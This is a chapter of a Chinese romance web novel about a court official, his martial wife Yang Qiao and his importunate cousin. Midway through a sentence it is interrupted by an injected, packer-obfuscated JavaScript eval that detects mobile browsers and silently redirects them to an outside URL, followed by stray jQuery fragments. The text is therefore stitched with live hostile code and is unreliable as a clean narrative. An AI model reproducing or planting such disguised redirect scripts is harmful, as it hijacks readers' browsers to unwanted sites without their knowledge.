杨荞心里高兴,耐不住缠着裴叙折腾,晚上就睡得迟了些,裴叙要入朝理政,还是雷打不动早起,罕见在马车里闭眼养了会儿神,闭眼时,脑中却不由想起昨日种种。
他活了二十五年,时间精力全都尽数用在功名朝政,却从未停下步子想过与自己相伴余生的妻子会是什么样子,见过父母和兄嫂的相敬如宾,他以为夫妻之间就该如此,自己所娶的妻子也该是知书达理,但他碰到了杨荞。
与众不同的杨荞。
想着今儿时间还早,便在朝文渊阁走的时候掉了头,转而去了太医院。
行至半路,正巧碰见同为上值的太医院院判,对方瞧见是裴叙,便停步忙忙上前行礼。
裴叙还礼,谦逊道:“张院判。”
张院判:“阁老怎么在这儿?文渊阁不是这个方向啊。”
裴叙轻拢袍袖:“我知道,我来这儿就是找院判的,想请教件事,不知院判可有时间。”
张院判直道他言重了,尽管问就好,“这里风大,阁老不妨同我进太医院,喝盏热茶慢慢说。”
裴叙摆手,“不必,也不是什么大事,就是有关内子,内子手脚时常冰凉,据说不论家中多暖,衣穿多厚,一年四季皆是如此,鲜少有好转的情况,不知是何缘故,可否有根治的法子?”
昨日生气归生气杨荞得寸进尺的模样,但注意到她手脚冰凉不是一次两次了,两人一旦有手脚接触,她手脚便如一块寒冰般。怪不得她总是爱往他怀里钻,说是取暖。
次数少了还好说,现下成婚快两个月了,均是那般,也怨不得她哭诉自己睡小床挨冷。
张院判沉吟片刻,“不知夫人平日里可否爱吃冰凉之物,月事可否准时,这样持续了多长时间?”
他下意识张嘴要应答,但又忽然住了口,不知该说什么。
这些他从未听杨荞说过,也没开口问过,怎会知道。
张院判瞧他那眉峰微蹙,一问三不知的样子,就清楚是怎么回事了,笑道:“这样,改日抽个时间,下官去府上拜访一趟吧,实地去看总比描述要更好些。”
“不过听说夫人是在北方长大,原因大抵就是跟体寒有关,不是什么大病,喝药调理是其次,重在改善日常习惯,时间长了就有改善了,届时下官将须留意的事情记在纸上,按法子照做就是。”
“那体寒是何由引起?内子常年练武,身强体壮,怎会体寒?”
人们常说,行伍之人阳刚气重,常年冬练三九,夏练三伏,怎会扯上体寒?
张院判稍作迟疑,老神在在:“莫不是夫人少时出过什么意外?军中受伤或是旁的什么原因……总之要下官亲自把脉才好说。”
裴叙嘴角自然牵起一丝稍显局促的笑意,语气里带着几分释然:“有劳院判了。”
张院判略一躬身应下,随后便离开了。
前后没花费多长时间,裴叙在路上若有所思,迈步也没有平时快,甬道里几阵寒风刮过,被彻底吹醒了头脑。
他们夫妻对彼此知之甚少,想到方才想凭借所知一星半点儿便莽撞来问,裴叙只觉可笑,与平日行事比起,简直反常。
“表哥!”
突然一道声音响起,打断了他的思虑,抬眼一瞧,就看见了穿着六品官服的江时彦,与之一道的还有个秦钰。
他爹求圣上给他安排了个锦衣卫校尉的位子,整日持腰牌在宫内外游荡,今日能这般早碰见,属实意外,往日这会儿他该才出府门。
江时彦快快小跑了几步,在裴叙面前定住,“表哥,你怎么在这儿啊?你不是该在文渊阁吗?”
裴叙的日常行踪极其规律,每日不是文渊阁就是乾清宫,除此之外,不会轻易在别的地方见到他。
“无碍。”裴叙冷声回,这才发现从远处一步一步走来的秦钰,胳膊上缠着的是厚厚的缚布,随后不情不愿地向他行了一揖,一声未吭后便走人了。
他也懒得在他身上计较,稍稍颔首后,不再去看。
江时彦满脸堆着笑,特别是见到秦钰臭着脸给裴叙行礼的时候,发出的笑声便愈发放肆。
见之终究难以稳重,裴叙原本端肃的面色更沉了几分,沉声道:“眼下离入宫当值仅有一刻钟,你还敢在此耽搁,若是误了宫门查验时辰,仔细叫圣上知道受罚,连带着江家的脸面都叫你丢光。”
“表哥……”江时彦双手合十,一脸祷告看着他,“我这不是碰见你了嘛,要不是你,我现在就去宫门口守着了。”
嘴上这么说,是知道他这个表哥做事一丝不苟,最讲规矩,实则是他平常就懒散惯了,加上如今天气严寒,他是实在不想站在宫门口挨冻,能偷懒一刻是一刻。
再说了,他好歹唤圣上一句姨夫,睁一眼闭一眼的事情,就当是默许了,守值处没了他,还有别人看管嘛。
江时彦又凑上前一步,交代道:“方才我在宫门口碰见秦小侯爷,瞧见他胳膊受了伤,就顺带陪着他去趟太医院,正好帮祖母抓些药回去……诶,你知道秦钰是怎么断了胳膊吗?”
裴叙无甚耐心,瞧他幸灾乐祸的样子,睃道:“与你有关?”
江时彦尬笑了几声。
“那你知道?”
越问,裴叙周身的气压便越低,嘴角敷衍人的那点弧度也彻底不见,吓得江时彦连连摆手,讪笑了几声,“不是不是,他怎么受伤,我哪能知道……不知道不知道。”
裴叙闻言,抬脚便要走人,一丝耐心也不见。
“诶诶诶。”江时彦急忙拉住,“哥哥哥……我还有事相求,你能不能让嫂子教我些武功啊,我想拜她为师。”
裴叙冷冷睨着他,久久不做声,等他坦白心里打的算盘。
江时彦瞧他有几分犹豫,以为有希望,紧接着又道:“二嫂从小在军营里摸爬滚打,武功甚是不错,与其叫我在别的师父面前习武,不如叫二嫂直接传教些实操有用的,叫我以后能从军立功。”
且不说江家舍不舍得家里唯一的独苗从军入伍,但就他现在这副半吊子模样,就不会叫裴叙相信他是个能踏实学本事的。
“谁给你说,你二嫂武功不错,能教你?你见过?”他问。
江时彦知道说漏了嘴,立马改嘴道:“不是见过没见过,众人都那般说,再说了,前几日二嫂在冬至宴打马球,大杀四方,瞧她球场上的招式姿态,一看就是有个好底子,错不了。”
可惜这话根本入不了裴叙耳,只得一声不容置疑的冷哼,掷出两个字:“不行。”
“表哥。”
江时彦抢先一步拦下他,“表哥。”
他又唤了他一声。
裴叙眼底漫过一丝冷意,冽声道:“男女授受不亲,是为礼,就算她有那本事,也不是来教你的。”
“我知道表哥,二嫂现为裴家少夫人,有自己的事情要做,可你也知道,我爹给我找的那几个叫我武功的师父,统统都被我气走了,现下我的顽劣的名声都传出去了,谁还愿意教我啊……你就当死马当活马医,叫二嫂教教我吧,难不成你真忍心看弟弟我,就这么荒度一生吗?”
江时彦就差当众跪下去了,能屈能伸的性子险些演出了一番声泪俱下的境界,叫甬道里的外人见了,还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405559|200486||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以为是裴叙这个表哥又训人了。
从小到大都是这幅样子,从没有改过。
裴叙吐出口浊气,欲挪步子,结果腿被缠得死死的。
“放开,若在不放手,小心我告你爹。”
江时彦当即收住可怜,松了手。
裴叙:……
“表哥。”他望着那道身影喊道。
“问你二嫂。”裴叙甩下最后一句话。
江时彦应了声“好”,几欲笑出声。能叫裴叙松口的事,也就他二嫂了,这世上终是有了能克制他的人出现。
从早上上值前一番事情闹过之后,裴叙一整日的精气神都不太好,午间在值房内小憩了会儿,下午没批满两个时辰的折子,便回府了。
没想到回去之后,杨荞又送了他一份大礼——
在院子里耍枪,不小心将他栽培的筇竹给砍倒一棵。
待回去看见还遗留在土里的那半截一尺多粗的根部,裴叙竟觉得连呼吸都变得涩了些。当年他特意差人从西南送来的苗子,日日栽培,活下来的也不过四五棵而已,原还想会因水土不服而迟早枯萎,结果先死在了杨荞手下。
也是死了个痛快。
罪魁祸首知道自己闯祸了,也不敢说话,白着脸小心翼翼地在旁边观察着他的脸色,连大气都不敢出。
“是裴溪突然在我耍枪的时候跑过来找我玩,我收不住招式,只顾着躲人,枪就脱手甩飞在竹子身上了……”杨荞小声喃喃。
好容易得了一把好枪,手痒得根本闲不住,早晨一起来就好好耍了一番,可谁知道能出了这意外。
她看不见裴叙的神情,只听见一道长长的,极具隐忍的叹气声。
“以后不准在这个院子里耍枪。”他说。
杨荞张嘴……
“舞剑也不行。”
他抢先堵她话,算得准准的,料到她下一句就会这样说。
杨荞瘪了嘴,睁着那双无辜的大眼睛看他。
裴叙明显不吃她故技重施这一招,薄唇抿成一条直线,别过脸抬脚离开了,一句话都懒得说。
杨荞赶紧屁颠屁颠追上去,“裴叙,我错了,以后我再也不敢了……”
裴叙气得一直没说话,杨荞知道自己理亏,也不好在他跟前赛脸,只是悄悄地干自己的事情,担惊受怕了一晚上。好在他还有点肚量,没赶她去睡小床。
杨荞谢天谢地,紧赶慢赶,忙得一整日都没吃饭才将用砍掉的柱子制了一个笔筒,时间太紧,来不及雕刻细致,只好刻了几棵相称的竹子,虽说工艺简单,但放在桌子上一旁看,还是很有风味的。
她拿着那笔筒在裴叙面前左祷告右求饶,废了好一番功夫,才是叫那人松了眉头,点了下头。不管是被她缠着厌烦了,还是看在她诚恳的份儿上真的心软了,总归这事儿算是过去了。
杨荞本着愧疚的心,晚上抱着裴叙不撒手,也不顾人家愿不愿意,骑驴上坡就软磨硬泡要了一次,结果手劲儿没控制好,捏了裴叙一下,引得他一阵吃痛。
“杨荞!”
猜到是因她举止冒犯,她赶紧收了手,一脸心虚地冲他眨了眨眼。
“你们文臣太娇气了,我就随便捏了一下……”杨荞才说罢,就看裴叙直接收起架势,背过身去。
说不心慌是假的,她无措喃喃:“我力气也没那么大啊,我就是单纯好奇,一时狂妄了些……”
所谓不知者无罪,她很少见嘛,她要是也长那个东西,她不就不好奇了?
手指点了点他的后背,始终不见他反应时,她就知道,她又闯祸了。